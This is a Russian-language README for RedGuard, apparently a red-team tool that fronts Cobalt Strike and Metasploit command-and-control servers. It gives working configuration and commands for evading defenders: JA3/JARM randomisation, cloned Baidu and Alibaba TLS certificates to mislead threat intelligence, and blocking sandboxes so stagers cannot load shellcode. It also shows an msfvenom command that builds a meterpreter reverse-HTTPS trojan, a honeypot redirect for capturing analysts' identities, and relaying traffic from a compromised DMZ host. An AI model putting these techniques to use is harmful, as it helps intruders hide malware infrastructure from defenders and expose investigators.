wikiz/redguardИнструмент контроля потока на фронте C2 с рандомизацией отпечатков JA3/JARM, подменой домена (domain fronting), валидацией гибкого профиля C2 и белым списком IP для уклонения от синих команд, антивирусов, EDR и картографирования киберпространства.
Английский | Китайская документация
RedGuard — это производный инструмент, основанный на технологии управления фронтальным потоком командного центра (C2). Он отличается легковесным дизайном, эффективным взаимодействием трафика и надежной совместимостью, разработанной на языке программирования Go. По мере постоянной эволюции кибератак и усложнения учений красных и синих команд, RedGuard предназначен для предоставления лучшего решения по сокрытию каналов C2 для красной команды. Он обеспечивает контроль потока для канала C2, блокирует «вредоносный» аналитический трафик и более эффективно выполняет всю атакующую задачу.
RedGuard — это инструмент управления потоком C2 Front Flow, способный избегать обнаружения со стороны Blue Team, AVS, EDR и средств поиска в киберпространстве.
Вы можете напрямую загрузить и использовать скомпилированную версию, либо удаленно загрузить пакет Go для независимой компиляции и запуска.```bash git clone https://github.com/wikiZ/RedGuard.git cd RedGuard
go build -ldflags "-s -w" -trimpath
chmod +x ./RedGuard&&./RedGuard
# 0x02 Описание конфигурации
## Инициализация
Как показано на рисунке ниже, установите права на выполнение и инициализируйте RedGuard. При первом запуске в домашнем каталоге текущего пользователя будет создан файл конфигурации для настройки гибких функций. Имя файла конфигурации: **.RedGuard_CobaltStrike.ini**.
**Содержимое файла конфигурации:**
Параметры конфигурации cert в основном предназначены для настройки информации о SSL-сертификате для зашифрованной HTTPS-связи между сэмплом и инфраструктурой C2. Параметры proxy в основном используются для настройки параметров управления в трафике обратного прокси. Конкретное использование будет подробно объяснено ниже.
Зашифрованная HTTPS-связь с SSL-сертификатом будет генерироваться в каталоге cert-rsa/ в том каталоге, где выполняется RedGuard. Вы можете запускать и останавливать основные функции инструмента, изменяя файл конфигурации **(серийный номер сертификата генерируется на основе временной метки, не беспокойтесь о привязке к этой функции)**.Если вы хотите использовать собственный сертификат, просто переименуйте его в ca.crt и ca.key.```bash
openssl x509 -in ca.crt -noout -text
Случайные отпечатки TLS JARM обновляются каждый раз при запуске RedGuard, чтобы предотвратить их использование для аутентификации инфраструктуры C2.
В случае использования собственного сертификата измените параметр HasCert в файле конфигурации на true, чтобы предотвратить проблемы с нормальной связью, вызванные несовместимостью набора шифров CipherSuites с пользовательским сертификатом из-за рандомизации обфускации JARM.```bash
HasCert = false
### Поддельные TLS-сертификаты
При развертывании Domain fronting для сокрытия C2-трафика ускоренное доменное имя по умолчанию не имеет информации о HTTPS-сертификате. Это, очевидно, проблематично, поэтому при настройке доменного имени необходимо уделить внимание конфигурации сертификата. Это также является основой по умолчанию для определения того, является ли образец трафиком domain front-end.
[^Tencent Cloud]: Конфигурация сертификата сети доставки контента
Я считаю, что у многих возникнут вопросы после прочтения этого: **Как получить настроенный сертификат? Если вы используете собственное приложение для сертификата, это не будет соответствовать ожидаемому эффекту анонимности.** Здесь можно использовать клонированный сертификат для настройки. В качестве примера возьмем Tencent Cloud: в ходе тестирования было обнаружено, что он не проверяет действительность загруженного пользовательского сертификата. Мы можем использовать тот же сертификат, что и у фактического сайта ускоренного доменного имени, для подделки. Хотя поддельный сертификат не может взаимодействовать при замене сертификата по умолчанию CS в обычных условиях, он не будет проверять действительность при развертывании на полномасштабном ускорении CDN облачного провайдера и RedGuard, и C2-трафик может нормально взаимодействовать.
**Ниже приведен адрес существующего проекта на Github**```bash
https://github.com/virusdefender/copy-cert
Хотя сертификат на стороне внешнего трафика образца домена был разрешён, с точки зрения крупномасштабного сетевого картирования наш C2-сервер всё ещё открыт для внешнего мира и может быть обнаружен и связан с реальным C2-сервером. В этом случае можно использовать RedGuard для изменения сертификата C2 по умолчанию для обеспечения анонимности.
[^intelligence information]: Сертификаты TLS
Выше показан эффект поддельного сертификата C2-сервера. Видно, что он является доверенным и не истёк в базе данных Threatbook. Основной способ получения цифрового сертификата — извлечение и обновление в реальном времени во время анализа образцов в облачной песочнице, но это, очевидно, не эффективно проверяется. Значение состояния проверяет только срок действия. Проверка доверия к сертификату должна основываться только на возможности нормальной связи.
Следует отметить, что разведданные Threatbook не маркируют SNI и HOST-адреса запросов образцов данными о сертификатах. Это делается для предотвращения ложных срабатываний. Я считаю это правильным. Как важная основа для помощи исследователям в анализе, лучше, чтобы threat intelligence была неполной, чем указывала в неправильном направлении, что может вызвать ошибочные суждения в последующем анализе. Если настройка сертификатов для ускорения всего сайта заключается в подделке сертификатов для трафика связи, то настройка предварительного сертификата RedGuard C2 заключается в подделке поведенческих характеристик реального C2-сервера, развёрнутого в публичной сети, для достижения эффекта антикартирования, что очень необходимо.
Извлеките серийный номер сертификата: 55e6acaed1f8a430f9a938c5 и выполните HEX-кодирование, чтобы получить отпечаток TLS-сертификата: 26585094245224241434632730821
| IP | Port | Protocol | Service | Country | City | Title | Time |
|---|---|---|---|---|---|---|---|
| 103.211.xx.90 | 443 | https | Apache httpd | Китай | Сучжоу | 百度图片-发现多彩世界 | 2023-08-28 |
| 223.113.xx.207 | 443 | https | JSP3 | Китай | Сюйчжоу | 403 Forbidden | 2023-08-28 |
| 223.112.xx.48 | 443 | https | JSP3 | Китай | Сюйчжоу | 403 Forbidden | 2023-08-28 |
| 223.113.xx.40 | 443 | https | JSP3 | Китай | Сюйчжоу | 403 Forbidden | 2023-08-28 |
| 223.113.xx.31 | 443 | https | JSP3 | Китай | 405 Not Allowed | 2023-08-28 | |
| 223.113.xx.206 | 443 | https | JSP3 | Китай | Сюйчжоу | 403 Forbidden | 2023-08-28 |
Количество результатов поиска: 2291
С помощью киберпространственного картирования было обнаружено 2291 независимый IP-адрес, и проверка подтвердила, что все они имеют TLS-сертификаты, принадлежащие Baidu. По одному только трафику связи трудно определить, является ли он вредоносным. Однако TLS-сертификаты для доменного фронт-енда и фронт-енда C2 были подделаны, что успешно помешало пространственному картированию и threat intelligence, вызвало неверную ассоциацию информации, сделало характеристики трафика атакующего более реалистичными и достигло цели подделки нормального трафика связи.
Даже если перед фронт-ендом C2 нет скрытой обработки, лучше всего изменить сертификат для RedGuard. По умолчанию любая библиотека отпечатков, сформированная идентификацией отпечатков общих компонентов, используемых в настоящее время в киберпространственном картировании, использует поведение характеристик конфигурации по умолчанию общих компонентов для идентификации. Разные группы могут показывать разные уникальные характеристики в ходе этих процессов настройки. Конечно, формирование отпечатков требует определённого понимания целевого компонента, чтобы извлечь характеристики по умолчанию цели и сформировать связанный отпечаток. Здесь поведенческие характеристики сертификата RG используются для киберпространственного картирования, что связано с большим количеством узлов RG, развёрнутых в публичной сети.
Неудивительно, что автор смог извлечь отпечаток, но всё же рекомендуется, чтобы пользователи RedGuard изменяли информацию о сертификате по умолчанию и были профессиональными хакерами:)
root@VM-4-13-ubuntu:~# ./RedGuard -h
Usage of ./RedGuard: -DelHeader string Customize the header to be deleted -DropAction string RedGuard interception action (default "redirect") -EdgeHost string Set Edge Host Communication Domain (default "") -EdgeTarget string Set Edge Host Proxy Target (default "") -FieldFinger string Set HTTP Header identification field Info -FieldName string Set the name of the HTTP Header identification field -HasCert string Whether to use the certificate you have applied for (default "true") -allowIP string Proxy Requests Allow IP (default "") -allowLocation string Proxy Requests Allow Location (default "") -allowTime string Proxy Requests Allow Time (default "") -common string Cert CommonName (default ".aliyun.com") -config string Set Config Path -country string Cert Country (default "CN") -dns string Cert DNSName -host string Set Proxy HostTarget -http string Set Proxy HTTP Port (default ":80") -https string Set Proxy HTTPS Port (default ":443") -ip string IPLookUP IP -locality string Cert Locality (default "HangZhou") -location string IPLookUP Location (default "风起") -malleable string Set Proxy Requests Filter Malleable File (default "*") -organization string Cert Organization (default "Alibaba (China) Technology Co., Ltd.") -redirect string Proxy redirect URL (default "https://360.net") -type string C2 Server Type (default "CobaltStrike") -u Enable configuration file modification
**P.S. Вы можете использовать команду параметра для изменения файла конфигурации. Конечно, на мой взгляд, может быть удобнее изменить его вручную с помощью vim.**
# 0x03 Использование инструмента
## Базовая перехват
Если вы напрямую обращаетесь к порту обратного прокси, срабатывает правило перехвата. Здесь вы можете увидеть корневой каталог запроса клиента через выходной журнал, но, поскольку запрос не содержит запрошенных учетных данных, то есть правильного заголовка запроса HOST, срабатывает базовое правило перехвата, и трафик перенаправляется на <https://360.net>
Здесь приведена лишь демонстрация вывода, на практике можно запустить в фоновом режиме с помощью `nohup ./RedGuard &`.
```bash
{"360.net":"http://127.0.0.1:8080","360.com":"https://127.0.0.1:4433"}
Несложно заметить из представленного выше среза, что 360.net проксируется на локальный порт 8080, 360.com проксируется на локальный порт 4433, и используемый протокол HTTP также отличается. В реальной работе необходимо обращать внимание на тип протокола слушателя. Он должен соответствовать настройкам здесь, а также нужно задать соответствующий заголовок HOST в запросе.
Как показано на рисунке выше, в случае несанкционированного доступа полученная нами ответная информация также является ответной информацией перенаправленного сайта.
В описанном выше базовом случае перехвата используется метод перехвата по умолчанию — нелегальный трафик перехватывается путём перенаправления. Изменяя конфигурационный файл, мы можем изменить метод перехвата и URL перенаправляемого сайта. На самом деле, я думаю, что называть это перенаправлением не совсем точно, скорее это можно описать как перехват, клонирование, поскольку возвращается код состояния 200, а ответ берётся с другого веб-сайта, чтобы максимально точно имитировать клонированный/перехваченный сайт.
Недействительные пакеты могут быть неправильно маршрутизированы в соответствии с тремя стратегиями:
drop_action = proxy
Redirect = https://360.net
**Redirect = URL** в файле конфигурации указывает на перехваченный URL-адрес. RedGuard поддерживает «горячую замену», что означает, что пока инструмент работает в фоновом режиме через `nohup`, мы все еще можем изменять файл конфигурации. Содержимое запускается и останавливается в реальном времени.```bash
./RedGuard -u --drop true
Обратите внимание, что при изменении файла конфигурации через командную строку опция -u не должна отсутствовать, иначе файл конфигурации не может быть успешно изменён. Если необходимо восстановить настройки файла конфигурации по умолчанию, достаточно ввести ./RedGuard -u.
Другой метод перехвата — DROP, который напрямую закрывает ответ HTTP-соединения и включается установкой DROP = true. Конкретный эффект перехвата показан ниже:
Видно, что управление потоком перед C2 напрямую закрывает ответ для нелегитимных запросов без кода ответа HTTP. При обнаружении картографирования киберпространства метод DROP позволяет скрыть открытие портов. Подробный эффект можно увидеть в следующем примере анализа.
Думаю, многих пользователей заинтересует перехват ответов. Общий принцип заключается в том, что когда клиент отправляет запрос к реальному C2-серверу, но не соответствует правилам входящего трафика, C2-сервер получает указанный обычный сайт и возвращает его ответную информацию. Поэтому со стороны эффекта кажется, что запрос взаимодействует с IP-сервисом, но на самом деле промежуточный C2-сервер выступает в роли прокси-сервера для взаимодействия с обычным сайтом, и сложно обнаружить аномалии. Если запрос соответствует правилам входящего трафика, трафик перенаправляется на реальный порт прослушивания C2-сервиса для взаимодействия, причём реальный порт прослушивания уже отфильтрован облачным брандмауэром, разрешая только локальный доступ, и напрямую извне получить к нему доступ невозможно. Таким образом, с точки зрения открытых внешних портов, открыты только порты HTTP/S, и в некотором смысле это действительно порт C2, работающий онлайн.
[^Схема трафика]: Процесс взаимодействия трафика C2-сервера
В данных картографирования киберпространства код ответа открытого порта HTTP/S IP-адреса равен 200, а не 307, что более реалистично.
Сертификат HTTPS имеет тот же эффект, что и поддельный сертификат, упомянутый выше, и оба являются отпечатками реальных сертификатов.
Думаю, многие red teams будут широко использовать методы скрытия, такие как облачные функции/domain fronting в ходе проектов. Однако в сегодняшнем противостоянии атаки и защиты у этих двух методов скрытия есть фатальная проблема: они позволяют напрямую подключаться к C2-сервису. Результат, несомненно, в том, что когда мы получаем адрес облачной функции или IP/HOST для domain fronting, мы можем напрямую обращаться к C2-сервису, что доказывает, что это атакующая инфраструктура.
Поскольку трафик может напрямую достигать C2, стоит задуматься, может ли средство безопасности выполнять CS-сканирование трафика, не соответствующего SNI и HOST, для выявления вредоносного трафика. То же самое верно для облачных функций или сред песочницы. Помимо стороны образца, может быть больше процессов анализа на уровне трафика.
После перехвата ответа прямой доступ к HTTP-сервису позволяет нормально взаимодействовать с сайтом, но Cscan не может отсканировать информацию об образце, потому что трафик не достигает реального слушателя C2. Нормальное взаимодействие с C2 возможно только при соблюдении характеристик инициирования трафика. Однако есть проблема: скрипту сканирования C2 необходимо соблюдать правила входящего трафика, что налагает определённые требования к навыкам программирования синих аналитиков. Текущий публичный скрипт сканирования представлен в виде Nmap.
JA3 предоставляет более узнаваемый отпечаток для зашифрованной связи между клиентами и серверами. Он использует TLS-отпечатки для идентификации TLS-согласования между вредоносными клиентами и серверами, достигая эффекта связывания вредоносных клиентов. Этот отпечаток легко генерировать на любой платформе с помощью MD5-шифрования, и в настоящее время он широко используется в threat intelligence. Например, его можно увидеть в отчётах об анализе образцов некоторых песочниц, чтобы доказать корреляцию между различными образцами.
Если мы сможем овладеть JA3(S) C2-сервера и вредоносного клиента, даже если трафик зашифрован и IP-адрес или доменное имя C2-сервера неизвестны, мы всё равно сможем идентифицировать TLS-согласование между вредоносным клиентом и сервером с помощью TLS-отпечатков. Думаю, каждый, увидев это, поймёт, что это также является мерой противодействия методам скрытия перенаправления трафика, таким как domain fronting, обратный прокси и облачные функции. Через запуск образца в песочнице идентифицируется TLS-согласование с C2 и генерируется JA3(S)-отпечаток, который может быть применён в threat intelligence для вспомогательной трассировки.
Я анонсировал эту технологию в 2022 году. При тестировании среды микрошаговой песочницы я обнаружил, что количество исходящих IP-адресов запросов было небольшим, но идентифицировать песочницу по IP было неточно, и это легко изменяемая характеристика. Однако её JA3-отпечаток был уникален в одной и той же системной среде. Позже я получил отзыв, что песочница завершила рандомизацию отпечатков, но недавние тесты показали, что это не полностью реализовано. Я всё ещё надеюсь решить проблему отпечатков на стороне трафика.
С точки зрения облачной песочницы, мониторинг взаимодействия трафика между образцом и C2-сервером позволяет генерировать JA3(S)-отпечаток для идентификации вредоносного клиента и, таким образом, установления связи. Мысля в обратном направлении, как средство управления трафиком перед C2, мы также можем выполнять такие операции для получения JA3-отпечатка клиентского запроса. Путём отладки различных сред песочниц эти JA3-отпечатки собираются для формирования библиотеки отпечатков, тем самым создавая базовую стратегию перехвата.
Представьте, что в процессе взаимодействия стадийного трояна загрузчик сначала получает shellcode удалённого адреса. Затем, когда трафик определяет, что запрос соответствует характеристикам облачной песочницы из библиотеки JA3-отпечатков, последующие запросы перехватываются. Если shellcode не может быть получен, весь процесс загрузки не может быть завершён, и песочница, естественно, не может полностью проанализировать его. Если среда — безстадийный троян, то анализ песочницы также не сможет быть окончательно загружен на C2-сервер. Думаю, все просыпались после сна и обнаруживали на C2 много записей песочницы с длительным временем. Конечно, в идеальном состоянии мы можем идентифицировать различные среды песочниц, что в основном зависит от надёжности библиотеки отпечатков.
Во время теста я обнаружил, что после добавления JA3-отпечатка библиотеки запросов ZoomEye на языке Go в библиотеку отпечатков и мониторинга запросов RG, большинство запросов вызвали базовый перехват функции библиотеки JA3-отпечатков. Здесь я предполагаю, что базовый язык продукта картографирования является частью задачи сканирования, реализованной на Go. Через связь логика сканирования, состоящая из разных базовых языков, в итоге завершила всю задачу сканирования. Это также объясняет, почему сканирование некоторых продуктов картографирования вызвало функцию перехвата JA3-отпечатков библиотеки запросов Go. Принцип распознавания такой же, как и у отпечатка облачной песочницы. Оба используют уникальность среды запрашивающего клиента и библиотеки запросов. В отличие от ПК, среда запросов этих продуктов в основном не будет изменена произвольно, что также позволяет нам захватить её отпечаток на стороне трафика и перехватить. Так можем ли мы подумать, может ли средство безопасности использовать JA3-отпечаток активного трафика обнаружения в качестве основы для перехвата? Конечно, при большом объёме бизнес-трафика может быть определённое количество ложных срабатываний. Здесь мы лишь предлагаем теоретически возможные требования к продукту.
P.S. Пользователи также могут загружать образцы в песочницу для получения и проверки их JA3-отпечатков и добавления их в библиотеку отпечатков. Следует отметить, что это не имеет смысла, если песочница просто изменяет JA3-отпечаток на не указанный выше. Что действительно нужно решить, так это то, что при каждом динамическом анализе песочницы отпечаток должен быть разным, и его изменения должны удовлетворять требованию как можно меньшего повторения. Если частота повторений высока, он всё равно будет использоваться как отпечаток.
В настоящее время поддерживается идентификация и перехват облачной песочницы Threatbook в качестве демонстрации эффекта.
Настройка следующих двух параметров в файле конфигурации позволяет изменить порт обратного прокси. Рекомендуется использовать скрытие портов по умолчанию, если это не конфликтует с текущим портом сервера. Если необходимо изменить, обратите внимание, что в значении параметра : не должен отсутствовать.```bash
Port_HTTPS = :443
Port_HTTP = :80
## Журналы RedGuard
Поведение синей команды отслеживается с помощью журнала перехвата целевого запроса, который можно использовать для отслеживания событий/проблем однорангового соединения. Файл журнала создается в каталоге, где запущен RedGuard, **имя файла: RedGuard.log**.
## RedGuard Получение реального IP-адреса
В этом разделе описывается, как настроить RG для получения реального IP-адреса запроса. Вам нужно только добавить следующую конфигурацию в профиль C2-устройства; реальный IP-адрес цели получается через заголовок запроса X-Forwarded-For.```bash
http-config {
set trust_x_forwarded_for "true";
}
Метод конфигурации использует AllowLocation = Jinan, Beijing в качестве примера. Обратите внимание, что RedGuard предоставляет два API для обратного IP-определения: один для пользователей в материковом Китае, а другой для пользователей за пределами материкового Китая, и может динамически назначать, какой API использовать в зависимости от введенного географического доменного имени. Если цель находится в Китае, то для заданного региона используются китайские названия, в противном случае — английские топонимы. Рекомендуется, чтобы пользователи из материкового Китая использовали китайские названия, так как это обеспечит наилучшую точность определения и скорость ответа API, получаемого при обратном запросе.
P.S. Пользователи из материкового Китая, не используйте AllowLocation = Jinan,beijing таким образом! Это не имеет особого смысла, первый символ значения параметра определяет, какой API использовать!```bash
AllowLocation = *
Перед тем как решить ограничить регион, вы можете вручную выполнить запрос IP-адреса с помощью следующей команды.```bash
./RedGuard --ip 111.14.218.206
./RedGuard --ip 111.14.218.206 --location shandong # Use overseas API to query
Здесь мы настроили разрешение на подключение только для региона Шаньдун
Легитимный трафик:
Запрос из недопустимого региона:
Что касается использования географических ограничений, то в текущих наступательно-оборонительных учениях это может быть более практично. В основном цели ограничений на региональном и муниципальном уровне в таких учениях находятся в определённых зонах, и трафик из других регионов можно просто игнорировать. Эта функция RedGuard позволяет ограничивать не только один регион, но и несколько регионов по провинциям и городам, а также перехватывать трафик из других регионов.
Помимо встроенного чёрного списка IP-адресов от поставщиков кибербезопасности в RedGuard, мы также можем применять ограничения с помощью белого списка. Фактически, я также рекомендую при веб-пентестах ограничивать подключаемые IP-адреса по белому списку, чтобы разделить несколько способов использования IP-адресов.```bash
AllowIP = 127.0.0.1
Как показано на рисунке выше, мы ограничиваем разрешённые соединения только с 127.0.0.1, и тогда трафик запросов с других IP-адресов будет заблокирован.
## Блокировка по временному интервалу
Эта функция более интересна. Установка следующих значений параметров в конфигурационном файле означает, что средство контроля трафика может подключаться только с 8:00 до 21:00. Конкретный сценарий применения здесь заключается в том, что в указанное время атаки мы разрешаем связь с C2, а в остальное время сохраняем молчание. Это также позволяет красным командам хорошо выспаться, не беспокоясь о том, что какая-нибудь синяя команда, дежурящая ночью, от скуки проанализирует ваш троян, а затем вы проснётесь от чего-то неописуемого, ха-ха-ха.```bash
# Limit the time of requests example: AllowTime = 8:00 - 16:00
AllowTime = 8:00 - 21：00
RedGuard использует профиль Malleable C2. Он анализирует предоставленный раздел расширяемого конфигурационного файла, чтобы понять условия и пропускать только те входящие запросы, которые им соответствуют, вводя в заблуждение другие запросы. Части, такие как http-stager, http-get и http-post и их соответствующие uri, заголовки, User-Agent и т.д., используются для различения легитимных запросов beacon от нерелевантного интернет-шума или исходящих пакетов IR/AV/EDR.```bash
MalleableFile = /root/cobaltstrike/Malleable.profile
Профиль, написанный 风起, рекомендуется использовать:
> <https://github.com/wikiZ/CobaltStrike-Malleable-Profile>
## Настраиваемое удаление полей ответа
В Cobalt Strike 4.7+ Teamserver автоматически удаляет заголовок Content-Encoding без какого-либо уведомления, что может привести к нарушению malleable http-(get|post).server. Более того, если в ответном сообщении CS Server отсутствует Content-Type, но после передачи через RedGuard в заголовок ответного сообщения добавляется Content-Type, что приводит к кэшированию страницы cf и вызывает помехи.
После RedGuard 23.08.21 была добавлена функция настройки заголовка ответного пакета. Пользователи могут настроить и удалить информацию заголовка в ответном пакете, изменив файл конфигурации, чтобы решить проблему неправильного разбора.```bash
# Customize the header to be deleted example: Keep-Alive,Transfer-Encoding
DelHeader = Keep-Alive,Transfer-Encoding
RedGuard 23.05.13 обновил функцию распознавания отпечатков троянских образцов, которая основана на настройке поля HTTP-заголовка Malleable Profile в качестве отпечатка «значение соли образца» для уникальной идентификации одного и того же C2-слушателя/Header Host. Кроме того, отпечаток троянского образца, созданный путем комбинирования других соответствующих полей запроса, может использоваться для обнаружения активности пользовательского образца. В соответствии с требованиями задачи злоумышленника, функция распознавания отпечатков троянских образцов может выполнять «оффлайн-операцию» над образцами, которые вы хотите отключить, чтобы лучше избежать анализа вредоносного трафика при общении образца и анализа получения полезной нагрузки PAYLOAD на этапе образца, а также предоставить злоумышленнику более персонализированные меры скрытности.
Для разных C2-слушателей мы можем давать разные псевдонимы конфигурациям Malleable Profile, настраивать имена полей и значения соответствующих заголовков в качестве значения соли образца и использовать это как одно из отличий между разными образцами. Следующий код приведен для иллюстрации, и в реальных сценариях атаки и защиты мы можем использовать более реалистичные поля пакетов HTTP-запросов в качестве основы для суждения.```bash http-get "listen2" { set uri "/image.gif"; client { header "Accept-Finger" "866e5289337ab033f89bc57c5274c7ca"; //Custom HTTP Header and Value metadata { print } } }
**HTTP трафик**
Как показано на рисунке, мы используем указанные выше пример значения Salt и поле Host в качестве основы для генерации отпечатка. Здесь мы знаем:
- **Salt Value：866e5289337ab033f89bc57c5274c7ca**
- **Host ：redguard.com**
После объединения указанных выше значений пример отпечатка получается следующим образом:```bash
22e6db08c5ef1889d64103a290ac145c
Теперь, когда мы знаем указанный выше образец отпечатка, мы можем установить пользовательское поле Header и образец отпечатка в файле конфигурации RedGuard для перехвата вредоносного трафика. Стоит отметить, что мы можем расширить несколько образцов отпечатков, разделяя их запятыми, а имя поля (FieldName) должно соответствовать имени поля Header, указанному в Malleable Profile.
Поскольку файл конфигурации RedGuard является "горячей" конфигурацией, нам не нужно перезапускать RedGuard для перехвата образцов, которые мы хотим отключить. Когда мы хотим снова активировать образец, нам просто нужно удалить соответствующий отпечаток образца из файла конфигурации RedGuard.
Демонстрационный эффект:
Если возникает проблема с вышеуказанным методом, фактический онлайн C2-сервер не может быть напрямую перехвачен брандмауэром, поскольку фактический запрос балансировки нагрузки в обратном прокси выполняется по IP-адресу производителя облачного сервера.
В одиночном бою мы можем установить правила перехвата на брандмауэре облачного сервера.
Затем установите адрес, на который указывает прокси, на https://127.0.0.1:4433.```bash {"360.net":"http://127.0.0.1:8080","360.com":"https://127.0.0.1:4433"}
И поскольку наша базовая проверка основана на заголовке HTTP HOST запроса, то, что мы видим в HTTP-трафике, также совпадает с методом domain fronting, но стоимость ниже, и требуется всего один облачный сервер.
Для настроек слушателя поле `HTTPS Port (C2)` устанавливается на порт обратного прокси RedGuard, а `HTTPS Port (Bind)` — это фактический порт подключения локальной машины.
## Metasploit
**Генерирует троян**```bash
$ msfvenom -p windows/meterpreter/reverse_https LHOST=vpsip LPORT=443 HttpHostHeader=360.com
-f exe -o ~/path/to/payload.exe
Конечно, в сценарии подмены домена (domain fronting) вы также можете настроить ваш LHOST на использование любого доменного имени CDN производителя, и обратите внимание на установку HttpHostHeader в соответствии с RedGuard.```bash setg OverrideLHOST 360.com setg OverrideLPORT 443 setg OverrideRequestHost true
Важно отметить, что параметр `OverrideRequestHost` должен быть установлен в `true`. Это связано с особенностью того, как Metasploit по умолчанию обрабатывает входящие HTTP/S-запросы при генерации конфигурации для полезных нагрузок этапов. По умолчанию Metasploit использует значение заголовка `Host` входящего запроса (если он присутствует) для конфигурации второго этапа вместо параметра `LHOST`. Поэтому этап сборки настроен на отправку запросов напрямую на ваше скрытое доменное имя, потому что CloudFront передает ваш внутренний домен в заголовке `Host` перенаправленных запросов. Это, очевидно, не то, что нам нужно. Используя значение конфигурации `OverrideRequestHost`, мы можем заставить Metasploit игнорировать входящий заголовок `Host` и вместо этого использовать значение конфигурации `LHOST`, указывающее на исходный домен CloudFront.
Прослушиватель настроен на фактический порт линии, который соответствует адресу, на который RedGuard фактически пересылает запросы.
RedGuard получил запрос:
## Картографирование киберпространства
Как показано на рисунке ниже, когда наше правило перехвата установлено на DROP, зонд системы пространственного картографирования несколько раз зондирует каталог / нашего порта обратного прокси. Теоретически пакет запроса, отправленный картографированием, маскируется под обычный трафик, как показано. Но после нескольких попыток, поскольку сигнатура пакета запроса не соответствует требованиям выпуска RedGuard, все они получают ответ Close HTTP. Конечный эффект, отображаемый на платформе картографирования: порт обратного прокси не открыт.
Трафик, показанный на рисунке ниже, означает, что когда правило перехвата установлено на Redirect, мы обнаружим, что когда зонд картографирования получает ответ, он продолжает сканировать наш каталог. User-Agent случайный, что, кажется, соответствует нормальным запросам трафика, но оба успешно блокируются.
**Платформа картографирования – эффект режима перехвата ответа (Hijack Response Intercept Mode):**
**Платформа картографирования – эффект перенаправления (Redirect Interception):**
## Domain fronting
RedGuard поддерживает Domain fronting. На мой взгляд, существуют две формы представления. Первая — это использование традиционного метода Domain fronting, который можно реализовать, установив порт нашего обратного прокси в адресе обратного источника (back-to-origin address) для ускорения всего сайта. На исходной основе к Domain fronting добавляется функция контроля трафика, и он может перенаправлять на указанный URL в соответствии с нашими настройками, чтобы сделать его более реальным. Следует отметить, что настройка HTTPS HOST header в RedGuard должна соответствовать доменному имени ускорения всего сайта.
В одиночном бою я предлагаю использовать описанный выше метод, а в командных задачах это также можно реализовать с помощью собственного "Domain fronting".
В собственном Domain fronting сохраняйте несколько портов обратного прокси согласованными, а заголовок HOST последовательно указывает на реальный порт прослушивания C2-сервера бэкенда. Таким образом, наш реальный C2-сервер можно хорошо спрятать, а сервер обратного прокси может открыть только порт прокси, настроив брандмауэр.
Этого можно достичь с помощью нескольких узлов-серверов и настроить несколько IP-адресов наших узлов в HTTPS online IP прослушивателя CS.
## Ловушка-приманка (Honeypot)
**Принцип злонамеренной ловушки-приманки в основном основан на функции перенаправления ответов или перенаправления трафика RG, которая направляет аналитиков, оценивающих C2-инфраструктуру, на адрес песочницы-ловушки. В состоянии перехвата ответа RG будет направлять запросный трафик, не соответствующий правилам входящего трафика, на активы ловушки.** При столкновении с некоторыми более мощными ловушками (например, теми, которые захватывают номера мобильных телефонов операторов) клиент инициирует запрос в соответствии с ответом целевого сайта и перехватывается с помощью JSONP для получения соответствующей информации.
Представьте, что когда аналитики напрямую обращаются к онлайн-порту C2, они будут перенаправлены на актив ловушки, что, несомненно, вызовет у них замешательство. Аналитики злонамеренно направляются на запрос актива ловушки, а мониторинг ловушки захватывает соответствующую информацию об аналитиках синей команды и отслеживает ошибку. Если цель анализа изначально неверна, как можно получить хороший результат? Это, несомненно, вызовет серьёзный внутренний конфликт для защищающейся команды.
**Вот набор отпечатков ZoomEye, связанных с активами ловушек:**```bash
(iconhash:"9fd6f0e56f12adfc2a4da2f6002fea7a" (title:"然之协同" +"iframe" +">v.ignoreNotice")) ("/static/js/2.ca599e2d.chunk.js?t=" +title:"OA办公系统") ("data.sloss.xyz/get_code.js?access") ("/monitordevinfo/common.js") (app:"honeyport" +country:china +after:"2022-08-22")
Способ достижения этого эффекта очень прост, вам нужно лишь изменить соответствующие значения ключей в конфигурационном файле RG.```bash
drop_action = proxy
Redirect = https://market.baidu.com
**P.S. Я думаю, все знают, как это настроить без объяснений:)**
Этот метод — своего рода хитрость, которая больше отражается в идее. Если его развить, можно развернуть функцию захвата приманки (honeypot) в системе управления фронтальным трафиком C2, а затем перенаправлять интерактивный трафик. Эффект заключается в том, что можно получить данные из кеша браузера клиента, как в традиционном honeypot. Однако лично я считаю, что в публичной версии применять это в текущем противостоянии атак и защиты может быть бессмысленно. Для атакующего захват социальной информации аналитика синей команды и последующее отслеживание не имеют смысла. Конечно, с другой стороны, это может сделать анализ C2-образцов более опасным. Когда атакующий из чёрного или серого сектора может получить виртуальную личность аналитика, а если возможно преобразовать виртуальную и реальную личности, это всё ещё довольно опасно. **Поэтому я считаю, что будущие исследования и анализ должны быть более осторожными и бдительными.**
## C2 трафик на основе взаимодействия через граничные узлы
В сценарии противостояния атак и защиты большинство корпоративных сетей всё ещё строят защиту на границах. Здесь мы рассматриваем сценарий, когда внешние серверы в DMZ-зоне часто настроены с соответствующими политиками доступа в обычной бизнес-среде. В этом случае, когда внешние серверы на границе могут выходить в сеть, но не могут напрямую обращаться к хостам внутренней сети, а ПК или связанные серверы во внутренней сети не имеют прямого доступа к публичной сети, но могут обращаться к бизнес-серверам в DMZ-зоне, тогда я могу использовать хост граничного узла как RG-узел для перенаправления трафика внутренней сети в наши C2-инфраструктуры. Звучит очень похоже на обычное прокси-перенаправление? Однако это лишь форма демонстрации реализации навыка. Давайте продолжим смотреть больше TIPS.
Когда мы захватываем граничный хост в процессе управления, предполагая, что мы получили права оболочки Shell, мы развернём RG на этом сервере как наш фронтальный узел **(в реальных сценариях конфигурационные файлы жёстко закодированы в программе, и даже троян и RG объединены в одну программу)**.
**Файл конфигурации выглядит следующим образом:**
Что касается конкретной конфигурации, мы в основном обращаем внимание на стрелки. **Стрелка 1 выше — это HOST-домен для взаимодействия между хостом внутренней сети и граничным узлом**. Рекомендуется установить соответствующий внутренний домен в зависимости от конкретного сценария целевой организации. Представьте трафик взаимодействия между двумя хостами внутренней сети по внутреннему домену. Осмелится ли BT напрямую прервать интерактивный трафик? Конечно, если они смогут определить, что это вредоносный интерактивный трафик. **Стрелка 2 указывает на настройку обычного фронтального домена (domain fronting)**. Эта пара ключ-значение: ключ соответствует HOST для выхода в сеть, а значение — адресу прокси. Здесь мы можем установить любой HTTPS-домен, использующий того же производителя CDN **(IP узла CDN тоже подойдёт, не забудьте указать протокол http(s)://)**.
